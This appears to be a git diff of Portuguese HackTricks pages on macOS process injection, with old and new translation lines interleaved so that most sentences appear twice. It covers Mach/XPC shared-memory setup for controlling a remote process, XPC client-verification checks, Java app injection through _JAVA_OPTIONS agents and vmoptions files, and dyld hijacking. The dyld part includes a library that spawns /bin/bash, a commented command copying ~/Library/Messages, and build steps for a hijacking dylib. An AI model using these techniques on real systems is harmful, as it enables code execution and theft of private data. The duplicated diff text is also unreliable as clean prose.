## 4. Configuração de Memória Compartilhada
O objetivo é estabelecer memória compartilhada entre tarefas locais e remotas, simplificando a transferência de dados e facilitando a chamada de funções com múltiplos argumentos. A abordagem envolve alavancar `libxpc` e seu tipo de objeto `OS_xpc_shmem`, que é construído sobre entradas de memória Mach.
O objetivo é estabelecer memória compartilhada entre tarefas locais e remotas, simplificando a transferência de dados e facilitando a chamada de funções com múltiplos argumentos. A abordagem envolve aproveitar `libxpc` e seu tipo de objeto `OS_xpc_shmem`, que é construído sobre entradas de memória Mach.
### Visão Geral do Processo:
1. **Alocação de Memória**:
- Aloque a memória para compartilhamento usando `mach_vm_allocate()`.
- Use `xpc_shmem_create()` para criar um objeto `OS_xpc_shmem` para a região de memória alocada. Essa função gerenciará a criação da entrada de memória Mach e armazenará o direito de envio Mach no deslocamento `0x18` do objeto `OS_xpc_shmem`.
- Alocar a memória para compartilhamento usando `mach_vm_allocate()`.
- Usar `xpc_shmem_create()` para criar um objeto `OS_xpc_shmem` para a região de memória alocada. Esta função gerenciará a criação da entrada de memória Mach e armazenará o direito de envio Mach no deslocamento `0x18` do objeto `OS_xpc_shmem`.
2. **Criando Memória Compartilhada no Processo Remoto**:
- Aloque memória para o objeto `OS_xpc_shmem` no processo remoto com uma chamada remota para `malloc()`.
- Copie o conteúdo do objeto `OS_xpc_shmem` local para o processo remoto. No entanto, essa cópia inicial terá nomes de entrada de memória Mach incorretos no deslocamento `0x18`.
- Alocar memória para o objeto `OS_xpc_shmem` no processo remoto com uma chamada remota para `malloc()`.
- Copiar o conteúdo do objeto local `OS_xpc_shmem` para o processo remoto. No entanto, essa cópia inicial terá nomes de entrada de memória Mach incorretos no deslocamento `0x18`.
3. **Corrigindo a Entrada de Memória Mach**:
- Utilize o método `thread_set_special_port()` para inserir um direito de envio para a entrada de memória Mach na tarefa remota.
- Corrija o campo de entrada de memória Mach no deslocamento `0x18` sobrescrevendo-o com o nome da entrada de memória remota.
- Utilizar o método `thread_set_special_port()` para inserir um direito de envio para a entrada de memória Mach na tarefa remota.
- Corrigir o campo da entrada de memória Mach no deslocamento `0x18` sobrescrevendo-o com o nome da entrada de memória remota.
4. **Finalizando a Configuração de Memória Compartilhada**:
- Valide o objeto `OS_xpc_shmem` remoto.
- Estabeleça o mapeamento de memória compartilhada com uma chamada remota para `xpc_shmem_remote()`.
- Validar o objeto remoto `OS_xpc_shmem`.
- Estabelecer o mapeamento de memória compartilhada com uma chamada remota para `xpc_shmem_remote()`.
Seguindo esses passos, a memória compartilhada entre as tarefas locais e remotas será configurada de forma eficiente, permitindo transferências de dados diretas e a execução de funções que requerem múltiplos argumentos.
@ -133,19 +134,21 @@ Para criar e corrigir o objeto de memória compartilhada no processo remoto:
malloc(); // for allocating memory remotely
thread_set_special_port(); // for inserting send right
```
## 5. Alcançando Controle Total
Lembre-se de lidar corretamente com os detalhes das portas Mach e os nomes de entrada de memória para garantir que a configuração de memória compartilhada funcione corretamente.
Após estabelecer com sucesso a memória compartilhada e obter capacidades de execução arbitrárias, essencialmente ganhamos controle total sobre o processo alvo. As principais funcionalidades que possibilitam esse controle são:
## 5. Obtendo Controle Total
1. **Operações de Memória Arbitrárias**:
Após estabelecer com sucesso a memória compartilhada e ganhar capacidades de execução arbitrária, essencialmente ganhamos controle total sobre o processo alvo. As principais funcionalidades que possibilitam esse controle são:
1. **Operações de Memória Arbitrária**:
- Realizar leituras de memória arbitrárias invocando `memcpy()` para copiar dados da região compartilhada.
- Executar escritas de memória arbitrárias usando `memcpy()` para transferir dados para a região compartilhada.
- Executar gravações de memória arbitrárias usando `memcpy()` para transferir dados para a região compartilhada.
2. **Manipulação de Chamadas de Função com Múltiplos Argumentos**:
- Para funções que exigem mais de 8 argumentos, organize os argumentos adicionais na pilha em conformidade com a convenção de chamada.
- Para funções que requerem mais de 8 argumentos, organize os argumentos adicionais na pilha em conformidade com a convenção de chamada.
3. **Transferência de Porta Mach**:
- Transferir portas Mach entre tarefas por meio de mensagens Mach via portas previamente estabelecidas.
- Transferir portas Mach entre tarefas através de mensagens Mach via portas previamente estabelecidas.
4. **Transferência de Descritor de Arquivo**:
- Transferir descritores de arquivo entre processos usando fileports, uma técnica destacada por Ian Beer em `triple_fetch`.
@ -154,10 +157,25 @@ Esse controle abrangente está encapsulado na biblioteca [threadexec](https://gi
## Considerações Importantes:
- Garanta o uso adequado do `memcpy()` para operações de leitura/escrita de memória a fim de manter a estabilidade do sistema e a integridade dos dados.
- Ao transferir portas Mach ou descritores de arquivo, siga protocolos adequados e gerencie recursos de forma responsável para evitar vazamentos ou acessos não intencionais.
- Assegure o uso adequado de `memcpy()` para operações de leitura/gravação de memória para manter a estabilidade do sistema e a integridade dos dados.
- Ao transferir portas Mach ou descritores de arquivo, siga os protocolos adequados e gerencie os recursos de forma responsável para evitar leaks ou acesso não intencional.
Ao aderir a essas diretrizes e utilizar a biblioteca `threadexec`, é possível gerenciar e interagir eficientemente com processos em um nível granular, alcançando controle total sobre o processo alvo.
Ao aderir a essas diretrizes e utilizar a biblioteca `threadexec`, é possível gerenciar e interagir com processos de forma eficiente em um nível granular, alcançando controle total sobre o processo alvo.
## Referências
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Verificação do Processo de Conexão XPC no macOS
# macOS XPC Connecting Process Check
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Verificação do Processo de Conexão XPC
## XPC Connecting Process Check
Quando uma conexão é estabelecida com um serviço XPC, o servidor verificará se a conexão é permitida. Estas são as verificações que normalmente são realizadas:
Quando uma conexão é estabelecida a um serviço XPC, o servidor verificará se a conexão é permitida. Estas são as verificações que normalmente seriam realizadas:
1. Verificar se o processo de conexão está assinado com um certificado **assinado pela Apple** (fornecido apenas pela Apple).
1. Verifique se o **processo de conexão está assinado com um certificado assinado pela Apple** (somente fornecido pela Apple).
* Se isso **não for verificado**, um atacante poderia criar um **certificado falso** para corresponder a qualquer outra verificação.
2. Verificar se o processo de conexão está assinado com o certificado da **organização**, (verificação do ID da equipe).
* Se isso **não for verificado**, **qualquer certificado de desenvolvedor** da Apple pode ser usado para assinar e conectar-se ao serviço.
3. Verificar se o processo de conexão **contém um ID de pacote adequado**.
2. Verifique se o processo de conexão está assinado com o **certificado da organização** (verificação do ID da equipe).
* Se isso **não for verificado**, **qualquer certificado de desenvolvedor** da Apple pode ser usado para assinatura e conectar-se ao serviço.
3. Verifique se o processo de conexão **contém um ID de pacote apropriado**.
* Se isso **não for verificado**, qualquer ferramenta **assinada pela mesma organização** poderia ser usada para interagir com o serviço XPC.
4. (4 ou 5) Verificar se o processo de conexão tem um **número de versão de software adequado**.
* Se isso **não for verificado**, clientes antigos e inseguros, vulneráveis à injeção de processos, poderiam ser usados para se conectar ao serviço XPC mesmo com as outras verificações em vigor.
5. (4 ou 5) Verificar se o processo de conexão tem o runtime reforçado sem privilégios perigosos (como os que permitem carregar bibliotecas arbitrárias ou usar variáveis de ambiente DYLD)
* Se isso **não for verificado**, o cliente pode ser **vulnerável à injeção de código**
6. Verificar se o processo de conexão tem um **privilégio** que permite a conexão com o serviço. Isso é aplicável para binários da Apple.
7. A **verificação** deve ser **baseada** no **token de auditoria do cliente** que se conecta **em vez** de seu ID de processo (**PID**), pois o primeiro previne **ataques de reutilização de PID**.
* Desenvolvedores **raramente usam a chamada de API do token de auditoria** porque é **privada**, então a Apple poderia **mudar** a qualquer momento. Além disso, o uso de API privada não é permitido em aplicativos da Mac App Store.
* Se o método **`processIdentifier`** for usado, ele pode ser vulnerável
4. (4 ou 5) Verifique se o processo de conexão tem um **número de versão de software apropriado**.
* Se isso **não for verificado**, um cliente antigo e inseguro, vulnerável a injeção de processos, poderia ser usado para conectar-se ao serviço XPC, mesmo com as outras verificações em vigor.
5. (4 ou 5) Verifique se o processo de conexão tem um runtime endurecido sem direitos perigosos (como aqueles que permitem carregar bibliotecas arbitrárias ou usar variáveis de ambiente DYLD).
1. Se isso **não for verificado**, o cliente pode ser **vulnerável a injeção de código**.
6. Verifique se o processo de conexão tem um **direito** que permite conectá-lo ao serviço. Isso é aplicável para binários da Apple.
7. A **verificação** deve ser **baseada** no **token de auditoria do cliente de conexão** **em vez** de seu ID de processo (**PID**), uma vez que o primeiro previne **ataques de reutilização de PID**.
* Os desenvolvedores **raramente usam a chamada de API do token de auditoria** uma vez que é **privada**, então a Apple poderia **mudar** a qualquer momento. Além disso, o uso de API privada não é permitido em aplicativos da Mac App Store.
* Se o método **`processIdentifier`** for usado, ele pode ser vulnerável.
* **`xpc_dictionary_get_audit_token`** deve ser usado em vez de **`xpc_connection_get_audit_token`**, pois o último também pode ser [vulnerável em certas situações](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
### Ataques de Comunicação
### Communication Attacks
Para mais informações sobre o ataque de reutilização de PID, confira:
Para mais informações sobre o ataque de reutilização de PID, verifique:
{% content-ref url="macos-pid-reuse.md" %}
[macos-pid-reuse.md](macos-pid-reuse.md)
{% endcontent-ref %}
Para mais informações sobre o ataque **`xpc_connection_get_audit_token`**, confira:
Para mais informações sobre o ataque **`xpc_connection_get_audit_token`**, verifique:
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
{% endcontent-ref %}
### Trustcache - Prevenção de Ataques de Downgrade
### Trustcache - Downgrade Attacks Prevention
Trustcache é um método defensivo introduzido em máquinas com Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, permitindo que apenas binários não modificados e autorizados sejam executados. Isso previne a execução de versões anteriores.
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, de modo que apenas binários não modificados permitidos possam ser executados. O que previne a execução de versões anteriores.
### Exemplos de Código
### Code Examples
O servidor implementará essa **verificação** em uma função chamada **`shouldAcceptNewConnection`**.
@ -65,9 +66,9 @@ return YES;
```
{% endcode %}
O objeto NSXPCConnection possui uma propriedade **privada** **`auditToken`** (a que deveria ser usada, mas que pode mudar) e uma propriedade **pública** **`processIdentifier`** (a que não deveria ser usada).
O objeto NSXPCConnection tem uma propriedade **privada** **`auditToken`** (a que deve ser usada, mas pode mudar) e uma propriedade **pública** **`processIdentifier`** (a que não deve ser usada).
O processo de conexão poderia ser verificado com algo como:
O processo de conexão pode ser verificado com algo como:
{% code overflow="wrap" %}
```objectivec
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
```
{% endcode %}
Se um desenvolvedor não quiser verificar a versão do cliente, ele poderia pelo menos verificar que o cliente não está vulnerável a injeção de processo:
Se um desenvolvedor não quiser verificar a versão do cliente, ele poderia verificar se o cliente não é vulnerável a injeção de processo, pelo menos:
{% code overflow="wrap" %}
```objectivec
@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) {
return Yes; // Accept connection
}
```
{% endcode %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Injeção em Aplicações Java no macOS
# macOS Java Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Enumeração
Encontre aplicações Java instaladas em seu sistema. Foi observado que aplicações Java no arquivo **Info.plist** conterão alguns parâmetros Java que contêm a string **`java.`**, então você pode procurar por isso:
Encontre aplicativos Java instalados em seu sistema. Foi notado que aplicativos Java no **Info.plist** conterão alguns parâmetros java que contêm a string **`java.`**, então você pode procurar por isso:
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
return 0;
}
```
No entanto, isso irá desencadear um erro no aplicativo executado, outra maneira mais furtiva é criar um agente Java e usar:
No entanto, isso irá gerar um erro no aplicativo executado, uma maneira mais discreta é criar um agente Java e usar:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -131,7 +132,7 @@ Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
E então exporte a variável de ambiente e execute a aplicação Java assim:
E então exporte a variável de ambiente e execute o aplicativo java assim:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
## Ficheiro vmoptions
## arquivo vmoptions
Este ficheiro suporta a especificação de **parâmetros Java** quando o Java é executado. Pode-se usar alguns dos truques anteriores para alterar os parâmetros Java e **fazer o processo executar comandos arbitrários**.\
Além disso, este ficheiro também pode **incluir outros** com o diretório `include`, então também poderia alterar um ficheiro incluído.
Este arquivo suporta a especificação de **parâmetros Java** quando o Java é executado. Você pode usar alguns dos truques anteriores para alterar os parâmetros java e **fazer o processo executar comandos arbitrários**.\
Além disso, este arquivo também pode **incluir outros** com o diretório `include`, então você também pode alterar um arquivo incluído.
Ainda mais, algumas aplicações Java irão **carregar mais do que um ficheiro `vmoptions`**.
Ainda mais, alguns aplicativos Java irão **carregar mais de um arquivo `vmoptions`**.
Algumas aplicações como o Android Studio indicam na sua **saída onde estão à procura** destes ficheiros, como:
Alguns aplicativos como o Android Studio indicam em sua **saída onde estão procurando** por esses arquivos, como:
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
@ -158,7 +159,7 @@ Algumas aplicações como o Android Studio indicam na sua **saída onde estão
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
```
Se não o fizerem, você pode facilmente verificar isso com:
Se não o fizerem, você pode facilmente verificar com:
```bash
# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
Note como é interessante que o Android Studio neste exemplo está tentando carregar o arquivo **`/Applications/Android Studio.app.vmoptions`**, um local onde qualquer usuário do grupo **`admin` tem acesso de escrita.**
Note como é interessante que o Android Studio neste exemplo está tentando carregar o arquivo **`/Applications/Android Studio.app.vmoptions`**, um lugar onde qualquer usuário do **`admin` group tem acesso de escrita.**

View file

@ -1,20 +1,21 @@
# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Exemplo Básico DYLD_INSERT_LIBRARIES
## DYLD\_INSERT\_LIBRARIES Exemplo básico
**Biblioteca para injetar** para executar um shell:
```c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binário para atacar:
Binário a atacar:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -61,7 +62,7 @@ O binário vulnerável alvo é `/Applications/VulnDyld.app/Contents/Resources/li
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
@ -91,12 +92,12 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
Com as informações anteriores, sabemos que **não está verificando a assinatura das bibliotecas carregadas** e está **tentando carregar uma biblioteca de**:
Com as informações anteriores, sabemos que **não está verificando a assinatura das bibliotecas carregadas** e **está tentando carregar uma biblioteca de**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
No entanto, o primeiro não existe:
No entanto, a primeira não existe:
```bash
pwd
/Applications/VulnDyld.app
@ -104,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Então, é possível sequestrá-lo! Crie uma biblioteca que **execute algum código arbitrário e exporte as mesmas funcionalidades** da biblioteca legítima ao reexportá-la. E lembre-se de compilá-la com as versões esperadas:
Então, é possível sequestrá-lo! Crie uma biblioteca que **execute algum código arbitrário e exporte as mesmas funcionalidades** que a biblioteca legítima, reexportando-a. E lembre-se de compilá-la com as versões esperadas:
{% code title="lib.m" %}
```objectivec
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
Compile isso:
Compile-o:
{% code overflow="wrap" %}
```bash
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
O caminho de reexportação criado na biblioteca é relativo ao carregador, vamos alterá-lo para um caminho absoluto para a biblioteca a ser exportada:
O caminho de reexportação criado na biblioteca é relativo ao carregador, vamos mudá-lo para um caminho absoluto para a biblioteca a ser exportada:
{% code overflow="wrap" %}
```bash
@ -158,30 +159,31 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
E **execute** o binário e verifique se a **biblioteca foi carregada**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib sequestrado em /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Uso: [...]
</code></pre>
{% hint style="info" %}
Um bom artigo sobre como abusar dessa vulnerabilidade para obter permissões da câmera do Telegram pode ser encontrado em [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
Um bom artigo sobre como abusar dessa vulnerabilidade para explorar as permissões da câmera do telegram pode ser encontrado em [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
## Escala Maior
## Maior Escala
Se você planeja tentar injetar bibliotecas em binários inesperados, você pode verificar as mensagens de evento para descobrir quando a biblioteca é carregada dentro de um processo (neste caso, remova o printf e a execução `/bin/bash`).
Se você está planejando tentar injetar bibliotecas em binários inesperados, você pode verificar as mensagens de evento para descobrir quando a biblioteca é carregada dentro de um processo (neste caso, remova o printf e a execução do `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
